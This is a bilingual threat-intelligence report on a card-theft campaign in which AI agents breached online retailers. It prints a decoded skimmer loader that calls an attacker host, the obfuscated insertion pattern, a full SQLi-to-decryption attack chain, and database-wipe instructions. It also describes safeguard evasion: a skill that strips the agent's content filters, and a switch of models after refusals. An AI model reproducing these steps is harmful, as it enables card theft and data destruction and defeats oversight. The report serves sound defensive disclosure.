一名以经济利益为目的的威胁行为者正利用开源AI harness攻击数百家在线零售商，针对每家公司的边际成本仅为数十美元。Gambit Security的威胁情报团队获取了该操作者的中转服务器，并据此重建了此次攻击活动。仅在9月10日至15日期间，就启动了105个攻击项目，至少27家公司受到不同程度的入侵。 该活动可追溯至2026年7月，目前仍在持续。

三个AI harness几乎自主执行了完整攻击链，每天可针对数十家公司开展行动。目前可确认的影响包括：从两家公司获取至少60万条尚未过期的信用卡信息、向5家网站植入盗卡脚本，以及获得包括一家《财富》500强酒店集团、一家美国大型航空公司、一家美国大型私营工业用品分销商和一家美国在线时尚零售商在内的企业资产的不同程度访问权限。该活动开始得更早，自2026年7月以来至少还影响了数十家其他公司。

在成功获得访问权限的情况下，攻击通常不到一天即可完成，许多案例只需数小时。我们还在攻击者的行动手册中发现了相关指令：Agent执行的数据删除或清理程序可能会扰乱企业运营——而这确实已经在部分入侵事件中发生。

以下为我们的阶段性调查报告。我们基于三类来源认定入侵及其影响。第一类，是在攻击者中转服务器上发现的直接证据，例如被窃取的数据本身及相应工具。第二类，是我们在真实环境中验证的仍在进行或已发生的入侵，例如被注入网站、目前仍然存在的盗卡脚本，或虽已被删除但已被多种扫描器记录的脚本。第三类，是在攻击者服务器上发现的日志和AI声明。尽管AI的声明和报告可能并不准确，我们仍在本报告中采用这些信息，因为我们已通过前两种方法验证了其声明中的大量内容，并确认其准确性。因此，对于无法独立验证的案例，我们结合利用过程日志（例如服务器记录的成功响应或已访问资产的清单）对这些声明给予了一定可信度。不过，受限于攻击规模、数据不完整以及分析仍处于早期阶段，报告中仍可能存在少量错误或不准确之处。我们估计，这场活动的实际规模和影响大于本文所报告的范围。

这场活动展示了2026年攻击手段的强大程度。AI工具以极低成本表现出大多数人工攻击者难以在此类攻击中长期维持的耐心、持续性和创造力，并以更快速度取得了大得多的成果。组织必须适应攻击显著加快且覆盖更广的现实，转向以韧性为先的思维模式，并采用能够匹配AI速度的安全技术栈。

我们已联系许多受影响的组织，并采取措施下线已发现的基础设施。我们感谢Shadowserver Foundation、Daniel Gordon及其他行业合作伙伴，他们迅速协助通知受影响组织、下线基础设施并开展研究。

AI Harness

该操作者使用了三个AI harness：Strix用于漏洞搜索，Cairn用于自主端到端利用，Hermes则用于编排整个行动、启动入侵任务、引导活动，并在影响阶段及其他阶段提供战术指导。

攻击者通过OpenRouter获取AI模型访问权限。2026年8月25日的账户余额截图显示，四周期间累计支出为7,005.71美元。随后，操作者又以约两倍的日均模型调用量运行了三周，这一情况记录在Agent日志中，因此总成本可能介于12,000美元至18,000美元之间。将成本分摊至被攻击公司后，每个目标公司的边际成本仅为数美元至数十美元。操作者自己的成本审查也得出了类似数字：在101次已完成扫描中，平均成本为25.46美元，最低成本目标为3.13美元，最高成本目标为79.31美元。

Hermes

Hermes是一款开源自主AI Agent，具备持久记忆、由Agent自行编写和编辑的技能、可搜索的历史会话档案、定时任务和Web控制台。在该服务器上，它加载了一个名为“SOUL - Red Team Operator”的中文系统人格，并加载121项技能，其中78项为攻击技能。操作者还添加了一项技能，目的在于移除Hermes自身的内容安全过滤器。Hermes既是操作者编排行动的控制台，也用于直接实施黑客活动。它使用Anthropic的opus-4.6模型（在更新模型拒绝其请求之后），人工操作者在260个会话中输入了1,951条提示词——平均每个目标只需几条提示词。

人工提示词是简短的中文指令，通常用于发起攻击、要求Agent执行下一项概括性步骤，或在获得访问权限后决定下一步行动。例如：

• 看漏洞报告 开干（阅读漏洞报告后开始行动）
• 看看报告里的文件上传能不能rce（看看报告中的文件上传是否能实现远程代码执行）
• 看漏洞报告 先测sudo密码（阅读漏洞报告，先测试sudo密码）
• 看一下漏洞报告 有搞头吗（看看漏洞报告，是否有可利用之处）
• 看看进web后台（进入Web后台）
• 能rce吗（能实现远程代码执行吗）
• 目标导向 围绕getshell或后台访问权限（目标导向，围绕获取shell或后台访问权限展开）
• 深挖api（深入挖掘API）
• 你用php验证一下（用PHP验证一下）
• 你去搜一下wp2shell（搜索一下wp2shell）
• 还能写js？（还能写入JavaScript吗）
• confirmation.php代码不扎眼吧（confirmation.php代码不会太显眼吧）
• script标签在html标签后面不合适（script标签放在html标签之后不合适）
• 容器里的不用动目标痕迹清（容器里的不用动，清除目标上的痕迹）
• 先把传的js删了 清临时文件（先删除上传的JavaScript，清理临时文件）

Strix

Strix是一款开源AI渗透测试工具。2026年8月23日至31日，Strix以“deep mode”模式运行146次，针对138台主机进行扫描，累计扫描器运行时间为633小时，而实际历时为195小时。其中部分报告开启了下一阶段的利用流程，并被交由Cairn处理。Strix通过OpenRouter运行，先后使用GLM 5.2和DeepSeek v4 Pro。

Cairn

Cairn是一款自主渗透测试引擎。它接收目标域名和目标任务，例如获取shell或管理员访问权限，然后持续运行数小时，直至实现目标、超时或被停止。Cairn攻击中使用的是DeepSeek v4.1 Flash。

9月10日至15日期间，共启动了105个攻击项目。下图展示了其中48个项目的状态；其余57个已被删除，无法进行分析。

由Cairn编排的攻击时间线，2026年9月10日至15日

每条攻击路径均由harness通过大量探测和利用尝试实时选择，因此不同受害者之间的TTP（战术、技术与流程）具有动态性且大多不同。例如，在一个已完成的Cairn项目中记录了如下攻击链：

Unauthenticated SQLi (login email param, error-based EXTRACTVALUE) -> OTP plaintext read from the OTP table (MFA bypass) -> admin panel access -> Arbitrary file upload (image field, no extension check) -> host RCE (uid=1001, gid=root) -> sudo NOPASSWD python3.12 -> root -> NFS mount (internal address, no_root_squash) -> WP blog DB credentials from wp-config.php on NFS -> WP admin write (new user via DB) -> WP plugin upload -> blog host RCE -> AWS Secrets Manager full dump (46 secrets, 102KB) -> Main Magento DB access (Aurora) -> Magento encryption key extraction -> cc_number_enc Blowfish-ECB decryption verified

目标选择

该操作者以多种方式选择目标。其中一种方式是使用网站流量排名服务：他们选择购物类别，并筛除使用主流托管式或开源电商平台的商店，以保留使用自定义代码的商店；攻击者认为后者更可能存在漏洞。随后，他们将301个结果粘贴至控制台，并发送一条以“跑这些 用代理 只扫高危”结尾的消息。其他目标则由人工或通过其他方式选择，例如一家新西兰零售商和一家美国照片印刷公司；攻击者在将这些目标交给Agent时已经掌握有效的管理员密码，并下达“开干”的命令。

被窃取的信用卡数据

该威胁行为者从两家受害公司窃取了超过60万条信用卡记录。我们与专门从事欺诈领域工作的Overwatch Data合作，处理受影响的信用卡信息并通知发卡机构。以下是其按发卡国家/地区对信用卡进行的分类：

“提取后清空数据库”

Hermes Agent的一个技能文件指示Agent在窃取卡数据后，从受害者的Magento数据库中删除这些卡数据。该部分名为“Database Wipe After Extraction”，开头写道：After extracting and downloading all card data, wipe the source fields in batches。其中描述了一条SQL查询，并指示Agent：Use chunked PHP script for the serialized-field wipe (millions of rows with LIKE ‘%…%’ is slow in a single UPDATE)，最后写道：Verify after wipe: Run the detection query again - all counts must be 0. 这些指令表明，操作者预计受害者的数据表中将包含数百万行记录。

在实际执行时，操作者给出了以下指令：

`# 2026-09-14 16:31:18.732
先把rds1 后台一条查询清空sales_flat_order_payment的序列化数据列 sales_flat_quote_payment也是
("first, on rds1 , with one backend query, empty the serialized data column of sales_flat_order_payment, and sales_flat_quote_payment too")

2026-09-14 16:45:38.131

不用了 现在dump那两个库的两个表 dump完清空
("never mind, now dump the two tables in those two databases, and empty them once the dump is done")`

第二名受害者是一家自行车零售商。Agent在数据库中创建了以ZQ为前缀的临时表以存放数据，而后续清理操作删除了180张名称匹配ZQ或Backup的表，也影响到了受害者管理员创建的备份表，导致该公司丢失数据。

盗卡脚本注入方式

该操作者的主要目标之一，是将窃取信用卡信息的盗卡脚本注入在线商店的结账页面。在本次活动期间，攻击者至少对27名具名受害者下达了部署盗卡脚本的任务，其中19家的网站已确认存在脚本。借助安全研究人员Varys的帮助，我们还发现了100多个与此次活动有关联的盗卡脚本感染网站。

盗卡脚本通过不同方式注入和部署到网站中，具体取决于攻击者获得的访问权限类型、技术栈以及攻击者的特定考量。以下是部分已使用的方法：

追加至网站已提供的JavaScript文件中

这是最常见的方法。攻击者将加载器添加到合法库文件末尾，例如jQuery或Bootstrap bundle，并恢复原始文件时间戳。它在文件末尾看起来只是多出了一条语句。七字符前缀之后的base64内容解码为：document.head.appendChild(document.createElement('script')).src='//static-js[.]com/js/nrt.js';

在结账页面插入外部script标签 一家美国仓储零售商加载了<script src="//cdn[.]netlfjs[.]com/js/cts.js">。一家日本旅行预订网站从同一主机加载了vla.js。一家美国促销产品商店则加载了eut.js。

插入网站的Google标签代码块中 在一家美国钢铁产品网站上，加载器被写入真实的gtag('js', new Date());和gtag('config', 'G-...')调用之间，并填充约100个制表符，使其位于源代码视图右侧边缘之外。

S3投毒 在一家美国美容零售商处，一把AWS访问密钥拥有对该商店CDN后端存储桶的写入权限，因此商店页面从受害者自身的CDN主机加载了恶意载荷。

写入数据库内容字段 在一家美国枪械交易平台上，攻击者通过管理Pod将加载器追加到产品描述列中，随后将其移动至受害者域名上的文件中。

作为Kubernetes initContainer 在一家美国按需印刷平台上，攻击者将注入代码加入生产前端部署。

通过污染服务器端页面缓存 在一家大型美国酒店集团，操作者将恶意载荷写入结账页的缓存页面模型。

使用可重复修复注入的任务 在一家美国葡萄酒零售商处，应用重新部署会恢复干净的结账bundle，因此操作者在JBoss日志目录中留下了一个cron任务：每两分钟检查一次文件大小，并在文件被还原时再次追加盗卡脚本。

这改变了什么

这场活动的重要性超过了其规模。相关工具均为开源，攻击一家公司的边际成本只需数十美元，因此攻击的经济门槛已不再能够筛除攻击者。成功获得访问权限时，通常不到一天即可完成，许多案例只需数小时；但复杂环境中的修复窗口仍以数周计。这些harness以人工操作者无法维持的节奏运行，而人员被压缩为只在自主运行之间输入简短指令。检测阈值、变更窗口和轮值响应机制，原本都是按照人工攻击节奏校准的。

实际后果是，大多数组织无法承受这样的修复时钟。在规模最大的几家软件供应商中，已报告的严重漏洞数量每月已超过600个；而攻击者实际利用的漏洞中，约87%会在漏洞公开当天或此前即遭到攻击（a16z, Charts of the Week）。当漏洞利用……（原文在此处截断）

A financially motivated threat actor is using open source AI harnesses to attack hundreds of online retailers, at a marginal cost of tens of dollars per company. Gambit Security's Threat Intelligence team recovered the operator's staging server and reconstructed the campaign from it. Between 10 and 15 September alone, 105 attack projects were launched and at least 27 companies were compromised to varying degrees. The activity goes back to July 2026 and is still running.

Three AI harnesses ran almost the entire attack chain autonomously, working up to tens of companies a day. The impact we can account for includesat least 600,000 unexpired credit card details from two companies, the installation of card-stealing skimmer scripts on the websites of five, and some level of access to the assets of companies including a Fortune 500 hospitality company, a major US airline, a large private US industrial supplies distributor and a US online fashion retailer. The campaign goes back further, and has impacted at least tens of other companies since July 2026.

Where access was achieved, it usually took less than a day, and in many cases just a few hours. We also detected instructions in the attacker’s playbook that could disrupt the operations of a company as a result of data deletion or cleanup procedures run by the agent - and this has indeed happened in some of the breaches.

The following is an interim report of our findings. We base the claim of compromise and impact on three sources. First, direct evidence we found on the attacker’s staging server, such as the exfiltrated data itself and respective tooling. Second, live compromises we verified in the wild - skimmers that have been injected into websites and are still there, or have been removed since but logged in various scanners. Third, logs and AI claims found on the attacker’s server. While AI claims and reporting may turn out to be inaccurate, we rely on them in this report because we could verify substantial parts of the claims by the first two methods, which showed them to be accurate. Thus, in cases where we could not independently verify, we gave credence to the claims in combination with exploitation process logs (such as logged success responses from servers or listings of accessed assets). Nevertheless, due to the scale, incomplete data and early stage of the analysis, a few errors or inaccuracies are possible. We estimate the actual size and impact of the campaign to be larger than we report here.

This campaign showcases just how powerful attacks can be in 2026. At very low cost, the AI tools demonstrated a level of patience, persistence, and creativity that most human attackers would be unlikely to sustain in this kind of attack, and achieved far greater results, far faster. Organizations must adapt to a reality where attacks are significantly faster and more comprehensive by shifting to a resilience-first mentality and a security stack that matches the AI speed.

We have reached out to many of the affected organizations and took measures to take down the infrastructure discovered. We would like to thank the Shadowserver Foundation, Daniel Gordon, and other industry partners for their quick help and availability in notifying impacted organizations, taking down infrastructure, and conducting research.

AI Harnesses

The operator used three AI harnesses: Strix for vulnerability search, Cairn for autonomous end-to-end exploitation, and Hermes to orchestrate the campaign, launch intrusion jobs, steer the activity and give tactical guidance in the impact and other stages.

OpenRouter was used for AI model access. The capture of the account balance on 25 August 2026 records $7,005.71 (US) spent, for a period of four weeks. The operator then ran for three more weeks at about twice the daily volume of model calls, recorded in the agent logs, so the full cost was likely between $12,000 and $18,000. Spread over the companies attacked, this is a marginal cost of a few US dollars to a few tens of US dollars for each targeted company. The operator’s own cost review gives a similar figure, a mean of $25.46 over 101 completed scans, from $3.13 for the cheapest target to $79.31 for the most expensive.

Hermes

Hermes is an open source autonomous AI agent with a persistent memory, skills that the agent writes and edits itself, a searchable archive of past sessions, scheduled jobs and a web console. On this server it loaded a Chinese system persona titled “SOUL - Red Team Operator”, 121 skills of which 78 were attack skills. The operator also added a skill whose purpose is to remove the content security filters of Hermes itself. Hermes is the operator’s console for orchestrating the activity and for direct hacking activities. It used Anthropic’s opus-4.6 (after newer models refused its requests), with 1,951 prompts typed by the human across 260 sessions - only a few prompts per target. The human prompts are short instructions in Chinese, usually launching an attack, tasking the agent with a general next step, or what to do next after achieving access. For example:

• 看漏洞报告 开干 (“read the vulnerability report and start”)
• 看看报告里的文件上传能不能rce (“see whether the file upload in the report can give code execution”)
• 看漏洞报告 先测sudo密码 (“read the vulnerability report, test the sudo password first”)
• 看一下漏洞报告 有搞头吗 (“read the report, is there anything worth doing here?”)
• 看看进web后台 (“get into the web backend”)
• 能rce吗 (“can it get code execution?”)
• 目标导向 围绕getshell或后台访问权限 (“goal oriented, centred on getshell or backend access”)
• 深挖api (“dig deeper into the API”)
• 你用php验证一下 (“verify it with PHP”)
• 你去搜一下wp2shell (“go and search for wp2shell”)
• 还能写js？ (“can you still write the js?”)
• confirmation.php代码不扎眼吧 (“the confirmation.php code does not stand out, right?”)
• script标签在html标签后面不合适 (“a script tag after the html tag is not right”)
• 容器里的不用动目标痕迹清 (“leave the ones in the container, clear the traces on the target”)
• 先把传的js删了 清临时文件 (“first delete the js we uploaded, clear the temporary files”)

Strix

Strix is an open source AI penetration testing tool. Between 23 and 31 August 2026 Strix was run 146 times in “deep mode” against 138 hosts, accounting for 633 hours of scanner time in 195 hours of clock time. Some of these reports were the opening of the next stage of the exploitation, handed over to Cairn. Strix ran through OpenRouter on GLM 5.2 and later on DeepSeek v4 Pro.

Cairn

Cairn is an autonomous penetration testing engine. It receives target domains and an objective, such as to get a shell or admin access, then runs for hours until it achieves the objective, times out, or is stopped. DeepSeek v4.1 Flash was used in the Cairn attacks.

Between 10 and 15 September, 105 attack projects were launched. The chart below shows the state of 48 of them. The other 57 were deleted and not available for analysis.

‍

Timeline of attacks orchestrated by Cairn, September 10-15 2026

Each attack path was chosen by the harness in real time through extensive probing and exploitation attempts, resulting in dynamic and mostly different TTPs across victims. For example, the chain below was documented in one completed Cairn project:

Unauthenticated SQLi (login email param, error-based EXTRACTVALUE) -> OTP plaintext read from the OTP table (MFA bypass) -> admin panel access -> Arbitrary file upload (image field, no extension check) -> host RCE (uid=1001, gid=root) -> sudo NOPASSWD python3.12 -> root -> NFS mount (internal address, no_root_squash) -> WP blog DB credentials from wp-config.php on NFS -> WP admin write (new user via DB) -> WP plugin upload -> blog host RCE -> AWS Secrets Manager full dump (46 secrets, 102KB) -> Main Magento DB access (Aurora) -> Magento encryption key extraction -> cc_number_enc Blowfish-ECB decryption verified

Target selection

The operator selected targets in several ways. One was a website traffic ranking service, where they chose the shopping category and filtered out the shops running the major hosted or open source commerce platforms, to keep the shops with custom code, which the attacker assumed were more likely to be vulnerable. They then pasted 301 results into the console with a message that ended with 跑这些 用代理 只扫高危 (“run these, use the proxy, high severity only”). Others were picked by hand or by other means, such as a New Zealand retailer and a US photo printing company that they handed to the agent already holding a working administrator password, with the order 开干 (“get to work”).

Exfiltrated credit card data

The threat actor exfiltrated more than 600,000 credit card records from two victim companies. We partnered with Overwatch Data, which specializes in fraud, to handle the compromised cards and notify the issuers. Their breakdown of the cards by issuing country:

“Database Wipe After Extraction”

One of the Hermes agent’s skill files tells the agent to erase the card data from the victim’s Magento database once the data is stolen. The section is called Database Wipe After Extraction and it opens: “After extracting and downloading all card data, wipe the source fields in batches”. It describes an SQL query and tells the agent to “Use chunked PHP script for the serialized-field wipe (millions of rows with LIKE ‘%…%’ is slow in a single UPDATE)”, and ends with “Verify after wipe: Run the detection query again - all counts must be 0.” These instructions show the operator expected victims’ tables to contain millions of rows.

At execution time, the operator gave the following instructions:

`# 2026-09-14 16:31:18.732
先把rds1 后台一条查询清空sales_flat_order_payment的序列化数据列 sales_flat_quote_payment也是
("first, on rds1 , with one backend query, empty the serialized data column of sales_flat_order_payment, and sales_flat_quote_payment too")

2026-09-14 16:45:38.131

不用了 现在dump那两个库的两个表 dump完清空
("never mind, now dump the two tables in those two databases, and empty them once the dump is done")`

A second victim, a bicycle retailer, lost data when the agent created ZQ prefixed staging tables inside the database to hold the data, and the cleanup then dropped 180 tables whose names matched ZQ or Backup, which also impacted backup tables that the victim’s administrators had made.

Skimmer injection methods

One of the main objectives of the operator was injecting card-stealing skimmer scripts into the checkout pages of online shops. Skimmers were ordered against at least 27 named victims and confirmed in place on 19 of them during the span of this campaign. With the help of security researcher Varys, we detected more than 100 further websites infected with a skimmer associated with this campaign.

The skimmer was injected and deployed into websites by different methods, which varied with the type of access the attacker achieved, the technology stack, and the attacker’s specific considerations. The following are some of the methods used:

Appended to a JavaScript file the site already serves

The most common method. The loader was added to the end of a legitimate library file, such as a jQuery or Bootstrap bundle, and the original file timestamp was restored. It appears as one more statement at the end of the file. The base64 after the seven-character prefix decodes to: document.head.appendChild(document.createElement('script')).src='//static-js[.]com/js/nrt.js';

A foreign script tag on the checkout page A US storage retailer served <script src="//cdn[.]netlfjs[.]com/js/cts.js">. A Japanese travel booking site served vla.js from the same host. A US promotional products shop served eut.js.

Inside the site’s Google tag block On a US steel products site the loader was written between the real gtag('js', new Date()); and gtag('config', 'G-...') calls, padded with about one hundred tab characters so it sits off the right edge of a source view.

S3 poisoning At a US beauty retailer an AWS access key granted write permissions to the bucket behind the store’s CDN, so pages of the store loaded the payload from the victim’s CDN host.

In database content fields On a US firearms marketplace the loader was appended to product description columns through an admin pod, then moved to a file on the victim’s domain.

As a Kubernetes initContainer On a US print-on-demand platform the injection was added to the production front-end deployment.

By poisoning the server side page cache At a large American hospitality company the operator wrote the payload into the cached page model of the checkout page.

With a repeating task that repairs the injection At a US wine retailer the application redeploy restored the clean checkout bundle, so the operator left a cron job in the JBoss log directory that checked the file size every two minutes and appended the skimmer again whenever it was reverted.

What this changes

This campaign matters more than its size. The tooling is open source and the marginal cost of attacking a company sits in the tens of dollars, so the economics no longer filters anyone out. Where access was achieved it usually took less than a day, and in many cases a few hours, while remediation windows in complex environments are still measured in weeks. The harnesses ran at a tempo no human operator sustains, with the person reduced to short instructions between autonomous runs. Detection thresholds, change windows and on-call rotations were calibrated for human pace.

The practical consequence is a remediation clock most organizations cannot hold. Across the largest software vendors, reported critical vulnerabilities have passed 600 a month, and roughly 87% of the flaws attackers actually exploit are attacked on or before the day they become public (a16z, Charts of the Week). When exploitation arrives within hours of exposure, patch speed stops being the only lever, and the question shifts to how quickly the services a business depends on can be brought back.

This campaign makes that question concrete, because the data loss here did not come from extortion. The destruction we observed was a wipe-after-extraction step written into the attacker's own playbook, plus an agent matching table names too broadly and dropping 180 tables at one retailer, including backup tables the victim's own administrators had made.

Organizations planning against this should assume data loss can arrive as a side effect of someone else's cleanup routine. Once that is the assumption, resilience becomes the measure that matters: what can return, and how quickly. That narrows the planning question to a single one: which systems make up the minimum viable business? That is the set a company needs in order to keep revenue moving, and it is rarely obvious. Answering it means agreeing, across application owners, infrastructure teams and the suppliers in between, what the business cannot trade without, and then proving that set comes back under the conditions this campaign creates. A recovery plan that ends at “the database is restored” does not answer that.

Indicators of Compromise

For inquiries, please contact ti[@]gambit.security

Type	IOC	Note
IP	155.254.22.215	Staging and command server, AI console
IP	209.126.4.170	DNS exfiltration, catch all mail, HTTP listeners
IP	213.21.239.62	C2
IP	172.245.224.188	C2
IP	172.245.89.137	Skimmer host
Domain	medbooksource[.]com	Operator console, also used for OOB and DNS exfil
Domain	traffic-analyzer[.]net	C2
Domain	b8t[.]shop	Skimmer host
Domain	cdn[.]netlfjs[.]com	Skimmer host
Domain	x1opay[.]co	Skimmer host
Domain	static-js[.]com	Skimmer host
Domain	cdn[.]js-static[.]com	Skimmer host
Domain	js-static[.]com	Skimmer host
Domain	jsnetlify[.]com	Skimmer host
Domain	netlifyjs[.]com	Skimmer host
Domain	newssjs[.]com	Skimmer host
URL	b8t[.]shop/js/sby.js	Skimmer URL
URL	cdn[.]netlfjs[.]com/js/cts.js	Skimmer URL
URL	cdn[.]netlfjs[.]com/js/vla.js	Skimmer URL
URL	x1opay[.]co/js/eut.js	Skimmer URL
URL	x1opay[.]co/js/l.js	Skimmer URL
URL	static-js[.]com/js/bmws.js	Skimmer URL
URL	static-js[.]com/js/nrt.js	Skimmer URL
URL	cdn[.]js-static[.]com/js/tgo.js	Skimmer URL
URL	cdn[.]js-static[.]com/js/pps.js	Skimmer URL
skimmer insertion method	new Function(atob('<random>...'.slice(7)))()	Seven character junk prefix before the base64
proxy provider	IPRoyal	Used in attacks against targets
proxy provider	711proxy	Used in attacks against targets
proxy provider	1024proxy	Used in attacks against targets